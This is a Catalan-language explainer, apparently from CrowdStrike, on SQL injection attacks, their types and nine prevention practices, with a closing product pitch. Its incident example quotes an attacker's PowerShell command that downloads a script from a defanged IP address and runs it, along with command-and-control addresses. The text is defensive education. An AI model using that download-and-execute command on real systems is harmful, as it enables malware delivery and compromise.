Què és un atac d’injecció SQL?

Què és la injecció SQL (SQLi)?

Injecció SQL (SQLi) és un ciberatac que injecta codi SQL maliciós a una aplicació, permetent a l’atacant veure o modificar una base de dades. Segons l’Open Web Application Security Project, els atacs d’injecció, que inclouen injeccions SQL, van ser el tercer risc de seguretat d’aplicacions web més greu el 2021. A les aplicacions que van provar, hi va haver 274.000 ocurrències d’injecció.

Per protegir-se dels atacs d’injecció SQL, és essencial entendre quin és el seu impacte i com es produeixen perquè pugueu seguir les millors pràctiques, provar vulnerabilitats i considerar invertir en programari que prevé activament els atacs.

Conseqüències d’un atac d’injecció SQL amb èxit

Els atacs d’injecció SQL poden tenir un impacte negatiu significatiu en una organització. Les organitzacions tenen accés a dades confidencials de l’empresa i informació privada dels clients, i els atacs d’injecció SQL sovint s’apunten a aquesta informació confidencial. Quan un usuari maliciós completa amb èxit un atac d’injecció SQL, pot tenir qualsevol dels impactes següents:

  • Exposa dades sensibles de l’empresa: Mitjançant la injecció SQL, els atacants poden recuperar i alterar les dades, cosa que corre el risc d’exposar les dades sensibles de l’empresa emmagatzemades al servidor SQL.
  • Comprometre la privadesa dels usuaris: En funció de les dades emmagatzemades al servidor SQL, un atac pot exposar dades privades d’usuari, com ara números de targetes de crèdit.
  • Doneu a un atacant accés administratiu al vostre sistema: si un usuari de base de dades té privilegis administratius, un atacant pot accedir al sistema mitjançant codi maliciós. Per protegir-se d’aquest tipus de vulnerabilitat, creeu un usuari de base de dades amb els mínims privilegis possibles.
  • Doneu a un atacant accés general al vostre sistema: Si utilitzeu ordres SQL febles per comprovar els noms d’usuari i les contrasenyes, un atacant podria accedir al vostre sistema sense conèixer les credencials d’un usuari. Amb l’accés general al vostre sistema, un atacant pot causar danys addicionals en accedir i manipular informació sensible.
  • Comprometre la integritat de les vostres dades: Mitjançant la injecció SQL, els atacants poden fer canvis o eliminar informació del vostre sistema.

Com que l’impacte d’un atac d’injecció SQL amb èxit pot ser greu, és important que les empreses practiquen la prevenció i limiten les vulnerabilitats abans que es produeixi un atac. Per fer-ho, heu d’entendre com es produeix un atac d’injecció SQL, de manera que sàpigueu a què us enfronteu.

3 tipus d’injecció SQL

En comprendre les amenaces a la ciberseguretat, les organitzacions poden preparar-se millor per als atacs i solucionar les vulnerabilitats. Fem una ullada als tipus d’atacs d’injecció SQL, que es divideixen en tres categories: injecció SQL en banda, injecció SQL inferencial i injecció SQL fora de banda.

1. Injecció SQL en banda

La injecció SQL en banda és el tipus d’atac més comú. Amb aquest tipus d’atac d’injecció SQL, un usuari maliciós utilitza el mateix canal de comunicació per a l’atac i per recollir resultats. Les tècniques següents són els tipus més comuns d’atacs d’injecció SQL en banda:

  • Injecció SQL basada en errors: Amb aquesta tècnica, els atacants obtenen informació sobre l’estructura de la base de dades quan utilitzen una ordre SQL per generar un missatge d’error des del servidor de la base de dades. Els missatges d’error són útils a l’hora de desenvolupar una aplicació web o una pàgina web, però poden ser una vulnerabilitat més endavant perquè exposen informació sobre la base de dades. Per evitar aquesta vulnerabilitat, podeu desactivar els missatges d’error després que un lloc web o una aplicació estiguin actius.
  • Injecció SQL basada en unió: Amb aquesta tècnica, els atacants utilitzen l’operador UNION SQL per combinar diverses declaracions de selecció i retornar una única resposta HTTP. Un atacant pot utilitzar aquesta tècnica per extreure informació de la base de dades. Aquesta tècnica és el tipus més comú d’injecció SQL i requereix més mesures de seguretat per combatre que la injecció SQL basada en errors.

2. Injecció SQL inferencial

També s’anomena injecció SQL inferencial injecció cega SQL perquè la base de dades del lloc web no transfereix dades a l’atacant com amb la injecció SQL en banda. En canvi, un usuari maliciós pot conèixer l’estructura del servidor enviant càrregues de dades i observant la resposta. Els atacs d’injecció SQL inferencial són menys freqüents que els atacs d’injecció SQL en banda perquè poden trigar més a completar-se. Els dos tipus d’atac d’injecció SQL inferencial utilitzen les tècniques següents:

  • injecció booleà: Amb aquesta tècnica, els atacants envien una consulta SQL a la base de dades i observen el resultat. Els atacants poden inferir si un resultat és cert o fals en funció de si s’ha modificat la informació de la resposta HTTP.
  • Injecció basada en el temps: Amb aquesta tècnica, els atacants envien una consulta SQL a la base de dades, fent que la base de dades espere un nombre determinat de segons abans de respondre. Els atacants poden determinar si el resultat és cert o fals en funció del nombre de segons que transcorre abans d’una resposta. Per exemple, un pirata informàtic podria utilitzar una consulta SQL que ordena un retard si la primera lletra del nom de la primera base de dades és A. Aleshores, si la resposta es retarda, l’atacant sap que la consulta és certa.

3. Injecció SQL fora de banda

La injecció SQL fora de banda és el tipus d’atac menys comú. Amb aquest tipus d’atac d’injecció SQL, els usuaris maliciosos utilitzen un canal de comunicació diferent per a l’atac del que utilitzen per recollir resultats. Els atacants utilitzen aquest mètode si un servidor és massa lent o inestable per utilitzar la injecció SQL inferencial o la injecció SQL en banda.

Com es realitza un atac d’injecció SQL?

SQL és un llenguatge utilitzat en programació dissenyat per a dades en un sistema de gestió de flux de dades relacional. Les consultes SQL executen ordres, incloses ordres per recuperar dades, actualitzar dades i suprimir registres. Per executar ordres malicioses, un atacant pot inserir codi maliciós en cadenes que es passen a un servidor SQL per executar-les. Hi ha diverses maneres en què els usuaris maliciosos poden executar un atac, però les entrades vulnerables habituals en una aplicació web o pàgina web són camps d’entrada de l’usuari com els formularis que permeten text lliure.

Exemple d’injecció SQL

Crowdstrike Falcon Overwatch va observar un incident en què es va injectar SQL amb èxit per obtenir l’execució de codi com a vector d’infecció inicial, la qual cosa va provocar l’execució d’ordres de PowerShell codificades que codificaven a:

$p=((New-Object Net.WebClient).DownloadString('http[:]//46.17.105[.]207/lzbt6001sop_64refl.ps1'));$p|.('IeX')

L’ordre va activar la descàrrega d’a demux El carregador PowerShell utilitzat habitualment per Carbon Spider, un adversari cibernètic que s’adreça principalment als sectors de l’hostaleria i la venda al detall per recopilar dades de targetes de pagament. Demur va executar una DLL de fase a la memòria que va utilitzar 46.17.105[.]207 i 185.242.85[.]126 per a comunicacions de comandament i control (C2).

A més, l’actor va utilitzar tots dos echo 1 i ping -n [number] 127.0.0.1 diverses vegades per garantir la connectivitat i la capacitat de resposta de l’amfitrió als intents d’injecció SQL. També s’utilitzava wmic per consultar el nom de domini.

9 millors pràctiques per protegir la vostra base de dades de la injecció SQL

Quan desenvolupeu el vostre lloc web o aplicació web, podeu incorporar mesures de seguretat que limiten la vostra exposició als atacs d’injecció SQL. Per exemple, les mesures de prevenció de seguretat següents són les maneres més efectives de prevenir atacs d’injecció SQL:

  1. Instal·leu el programari i els pedaços de seguretat més recents dels proveïdors quan estiguin disponibles.
  2. Doneu als comptes que es connectin a la base de dades SQL només els privilegis mínims necessaris.
  3. No compartiu comptes de bases de dades entre diferents llocs web i aplicacions.
  4. Utilitzeu la validació per a tots els tipus d’entrada proporcionada per l’usuari, inclosos els menús desplegables.
  5. Configureu els informes d’errors en lloc d’enviar missatges d’error al navegador web del client.
  6. Utilitzeu declaracions preparades amb consultes parametritzades que defineixen tot el codi SQL i passen cada paràmetre perquè els atacants no puguin canviar la intenció d’una consulta més tard.
  7. Utilitzeu procediments emmagatzemats per crear sentències SQL amb paràmetres emmagatzemats a la base de dades i cridats des de l’aplicació.
  8. Utilitzeu la validació d’entrada de la llista de permisos per evitar que les entrades d’usuari no validades s’afegeixin a la consulta.
  9. Escapeu de totes les entrades proporcionades per l’usuari abans de posar-les en una consulta perquè l’entrada no es confongui amb el codi SQL del desenvolupador.

En general, les organitzacions haurien d’evitar l’ús de comptes compartits perquè els atacants no puguin obtenir més accés si un compte està compromès. Les organitzacions també haurien d’evitar enviar missatges d’error de la base de dades al navegador web del client perquè els atacants poden utilitzar aquesta informació per entendre detalls tècnics sobre la base de dades.

Enfocament de CrowdStrike per aturar atacs SQL

Com que la injecció SQL és una tècnica de pirateria habitual i les conseqüències poden ser greus, és important protegir el vostre negoci d’aquestes amenaces. Seguint les millors pràctiques i provant periòdicament les vulnerabilitats, podeu reduir la probabilitat de ser víctima d’un atac d’injecció SQL. A més, les organitzacions haurien de considerar invertir en una solució integral de ciberseguretat com la plataforma CrowdStrike Falcon®. Les solucions de ciberseguretat ajuden a reforçar la vostra postura de seguretat contra la injecció d’SQL i molts altres riscos de ciberseguretat.

La plataforma Falcon és altament modular i extensible, per la qual cosa és fàcil adoptar la protecció que necessiteu. L’arquitectura basada en núvol pot defensar les organitzacions empresarials sense comprometre la velocitat i el rendiment. La plataforma de CrowdStrike us pot ajudar a protegir les àrees més crítiques de risc empresarial: punts finals, càrregues de treball al núvol, identitats i dades. Per veure com CrowdStrike podria protegir el vostre negoci d’un atac d’injecció SQL, llegiu com els equips d’intel·ligència i caça d’amenaces de CrowdStrike van aturar una campanya d’injecció SQL.

Leave a Comment

Your email address will not be published. Required fields are marked *